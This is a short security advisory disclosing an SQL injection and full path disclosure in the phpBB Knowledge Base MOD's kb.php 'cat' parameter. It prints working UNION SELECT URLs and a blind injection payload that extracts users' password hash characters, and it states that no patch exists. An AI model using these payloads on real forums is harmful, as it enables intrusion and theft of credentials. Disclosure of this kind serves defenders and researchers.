###########################################################
# phpBB - Knowledge Base MOD                              #
# SQL-Injection vulnerability and Full Path Disclosure    #
#                                                         #
# Discovered by [R] and deluxe89                          #
###########################################################
 
 
Discussion:
The phpbb - Knowledge Base MOD has a relatively hard to exploit SQL-Injection vulnerability. However, an attacker can exploit this bug and receive informations from the database.
 
 
 
The Bug:
The script doesn't filter the cat variable.
If we apply something wrong here:
 
/kb.php?mode=cat&cat='
 
We will get an error similar to this:
 
Could not obtain category data
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax
SELECT * FROM phpbb_kb_categories WHERE category_id = \'
Line : 131
File : /here/is/the/full/path/functions_kb.php
 
 
 
/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0
No match: Categorie doesn't exist.
 
/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users
Match: DEBUG MODE - SQL-Error
 
Therefor the only thing an attacker can find out is whether a row is matched or not.
 
 
 
Exploit:
The attacker may compare the informations in the database with test values. Example:
 
0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+user_id=2+AND+ascii(substring(user_password,1,1))=97
 
If it returns an SQL-Error, the first character of the hash is an 'a'.
Exploit available at the websites below.
 
 
 
Patch:
No patch available by now.
 
 

Greetz to madinfect, reddi, darkkilla, EaTh, Astovidatu and Doc
 
www.security-project.org 
www.batznet.com